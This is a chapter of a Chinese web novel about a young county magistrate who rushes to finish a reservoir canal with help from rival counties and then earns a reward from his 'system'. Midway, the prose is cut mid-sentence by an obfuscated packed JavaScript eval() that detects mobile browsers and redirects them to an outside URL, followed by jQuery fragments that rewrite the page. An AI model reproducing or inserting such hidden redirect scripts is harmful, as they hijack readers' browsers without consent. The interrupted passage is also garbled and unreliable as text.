梁国地域虽广,但无奈周边势力太多,对外便有些力不从心。东胡向来待梁国便不大恭敬,这回即便自家人犯了错,也是一封国书便轻飘飘地应付过去了。
道个歉服个软,甚至不用付出什么实质性的赔偿,反正梁国也不能拿他们怎么样。
但是这事毕竟是自家做的不地道,于是大汗便让官员约束一下底下的人,都收敛一些,不到艰难时也就不必下去抢粮食了。
这话别人肯听,宝日金却半点听不进去,他下定决心跟梁国势不两立,不,准确来说是跟永宁县。
待东胡的回信传入京城后,满朝文武再次噤声。
东胡这做法,无异于是在梁国的脸上狠狠抽了一巴掌。可他们却说不出要制裁东胡、找回场子的谏言,为了北方那些蛮夷,梁国已是分身乏术,匀不出兵力来对抗东胡。如今受了点委屈,也就只能忍着。
从一众皇子中杀出重围、顺利登基的齐霆面对此境况时,除了愤懑,便只剩下无可奈何了。明知道情况不利于自己这边,朝中官员为保守起见肯定也不敢多言,可齐霆却总是思绪飘忽。
若是太傅尚在,若是大将军还活着,若是那些人都没有被清算,是否就不必看胡人的脸色了……
这念头刚起,便被齐霆无情地掐断了。
想这些无济于事,已经背叛他的人根本不值得留恋。他已登基三年,身边缺不了文武双全之人,待他们成长起来,何愁没有人顶替太傅等人的作用?这偌大的朝廷,偌大的梁国,难道缺了他们就不省事了?
朝中的重心仍旧放在西北这边,东胡之事甚至没有掀起任何波澜,不过刘岱身为幽州太守还是被牵连了。
奏事失职,被笞四十,余下州衙官员也都各笞三十。虽然打得并不严重,不过就是走个流程,但是太伤颜面了。
刘岱被打之后,好几日都独坐屋中不愿见人。他自任幽州太守之后便是地方上的头把交椅,向来说一不二,如今却因为这点子事被朝廷责罚,面子上着实过不去。
杜良川也一样,他比刘岱脾气还暴些,这几天一点就着,已经痛批了好几个不会办事儿的蠢蛋了。
这档口,偏偏还有人不长眼,又过来说些有的没的,挤兑永宁县县令太过高调,言语中还暗示州衙做事不地道,借给永宁县那么多钱却没有借给他们。若不是永宁县白得了这笔钱,也不能够如此嚣张,更不至于将他们各县都给比下去。
本来他们是不用出钱修那破河渠的,现在可好了,永宁县给了钱他们也不得不给。各家也都不富裕,若非裴杼没事找事,他们年底也能多留一笔钱。
“比比比,就知道比,真是一群猪脑子!”杜良川正好无处发火,如今找到了借口,立马提笔,挨个写封信,将所有县令都痛斥了一顿。
让他们分忧做不到,没事儿跑来气人的本事却不小。再唧唧歪歪,今年一并都给他们打个差等考评!
一通火发下去,各县瞬间乖觉。
只是裴杼有些不舒服,他是无辜的,为什么杜大人还写信将他也骂了一顿?
“我什么都没干呢。”
翌日,裴杼对着过来监工的张县令小声蛐蛐。
张县令“呵”了一声,他什么都没干?他干的事情还少吗?就是因为他惹出了这一摊子的事,才害得他们都挨了批!话说起来,最无辜的那个明明是他才对,他都没跟州衙抱怨却也被战火波及到,挨了一顿莫名其妙的骂。
他多冤啊……
裴杼抱怨过后还在好奇:“对了,张大人为何这两天忽然来得勤快了,可有什么我不知道的缘故?”
其实不止是张县令,其余各县的县令也都过来探了一趟。但因为离得远,来回不大方便,只是匆匆看过做了一番亲民的姿态便又回去了。
“还能为何,因为闲的。”张县令隐晦地朝着裴杼翻了个白眼。
不花钱也就算了,花了钱自然得看看修得如何。另外,这功劳也不能只被永宁县这些人给占了,他们也得分一分。只是每次过来都会碰到裴杼,且裴杼那厮看到人还喜欢往前凑,不熟也能找到话来聊,跟狗皮膏药一样,这一点让张县令尤为不爽!若是没有裴杼就清静了。
裴杼没感觉到张县令的排斥,就算感受到了他也觉得无妨,交朋友吗,多处处就融洽了,他有自信能够得到张县令等人的喜欢。
十月一过,天气骤然变冷,等到了十一月后更是严寒刺骨。今年不仅年成不好,冬天也比往年难捱,幸亏当初裴杼让县衙将各处的房屋都给修缮了一遍,否则只怕要冻死不少人。
水库工地上每天都有热水供应,中饭、晚饭的时候还特意支起火堆取暖。绕是如此,还是冷,裴杼出门一趟必冻得鼻梁通红。
但再冷他也要出去,心里急得跟什么似的,生怕工期赶不上。他也想多招工,但是永宁县青壮年都在这里了,挤不出更多来。没办法,县里人口不够就是这么窘迫。
要是能天降一批人手就好了,裴杼默默祈祷。
王绰直观地感受到了裴杼的急切,他有些不解:“大人,这河渠一定要三个月内完成吗?”
裴杼重重地点了点头:“对,一定要。”
否则他也不知道会发生什么,系统什么都没说,也什么都不知道,靠着他自己摸索实在太难了。
王绰听罢,忽然又问:“那大人在乎在各位县令那儿的名声么?”
裴杼一头雾水:“要那玩意要做什么?”
在自己家里有点名声就行了,至于外面,裴杼还真不怎么在乎。
裴杼觉得王师爷挺神秘的,当然也很厉害,他这么问必然是有法子,裴杼鼓励道:“师爷您想做什么只管去做,不必顾及我,只要能将工期提前就成。”
王绰心中有数了,也不知他跟魏平是怎么吩咐的,反正第二天魏平就又独身前往各县衙商谈了。
两天过后,各家县衙捏着鼻子又送了几千人手过来干活,这一片山脚下密密麻麻的,都是人。如今等于是集五县之力共同修建水库,场面一时间颇为壮观。
裴杼高兴坏了,怎么一下子来这么多的人?难道其他几个县的县令都良心大发了?正好张县令也在,裴杼于是屁颠屁颠地上前询问。
张县令却一直臭着一张脸,以为裴杼还在装模作样,哼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053777|162795||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一声:“你想延误工期,这是痴人说梦!”
裴杼:“……?”
他啥时候想延误工期了,分明他比谁都要着急。
张县令也没解释,自顾自地道:“无论如何,这河渠务必要在年底修好!”
义正言辞,掷地有声,一下子就说到了裴杼的心坎里去。他上前,亲切地握住对方的手:“张大人,万万没想到您竟然如此贴心。”
张县令气地笑了出来,真会装啊,若不是他派人去各处县衙商议过,自己还真要被他给骗了过去。
就在前两日,魏平骤然登门,同他们商量这工期能否稍稍往后延一延,最好拖到明年春天。魏平循循善诱,态度比上一回不知好了多少。这一来,今年裴杼走马上任,与上一任陈县令的政务才交接好,二人之间的政绩划分也不是很明显。若是河渠在年底前完成,旁人兴许还以为这中间有陈大人的一份功劳。
这二来么,永宁县县衙还想借着这同一件事再找州衙多借一笔钱,望其他各县能够成全。
成全?成全个屁!
张县令如今望着裴杼那张脸还觉得心里膈应。这人年纪轻轻的,还未及冠,心眼儿怎么能黑成这样?他们刚被州衙训斥,人家杜别驾都威胁拿年终考评威胁他们了,要是再没点功绩撑着,他们还有何颜面亲上峰网开一面?这河渠虽然不是在他们县境内,但也算是他们的功劳。裴杼想独吞,根本不可能!
至于永宁县想捞钱,那就更不可能了。裴杼想要州衙托底,可他们却难借到钱,工期越是延长,他们花的钱越多。长痛不如短痛,还不如一步到位。
张县令估摸着,其他诸位大人也是这么想的,否则不会巴巴地将人送过来。
说来说去还是裴杼那小子太狡猾,这回他们是吃了大亏了。
各县城送过来的人犹如及时雨一般,瞬间抚慰了裴杼焦急难耐的心绪。更难得的是,这些人都用不着他花钱。果真远亲不如近邻,跟其他几个县打好关系还是有必要的。
因有这些人助力,又有几个县令反反复复地盯着,河渠开挖进展神速。
众人又热火朝天地干了一个多月,终于在三月期限的最后一日,即将完工。两万多名百姓停下锄头,等着永宁县的人验收,若是他们觉得各处妥帖不出错,那这河渠就算是彻底成了。
蜿蜒而下的潮白水河畔忽然多了一处天坑,四周山峦起伏,宁静安详。虽然未曾蓄水,但是裴杼已经可以想象明年这片水域蓄满水将会是何等风光。
站在山顶俯瞰,裴杼心中涌起一股难以言表的成就感。
熟悉的提示音再次响起,裴杼回过神,发现第二项任务俨然完成了,“水到渠成”成就奖励已发放。
这回掉落的奖励袋有两个,二选一,一个貌似是种子,具体是粮食作物还是经济作物不得而知;另一个,似乎是什么赚钱的方子。
系统给的应该都是好东西,说实话裴杼两个都想要,但眼下却不得不作出取舍,拿一个永宁县最需要的东西。
最缺什么,就得拿什么。
裴杼陷入了挣扎,犹豫许久之后,终于伸出了手。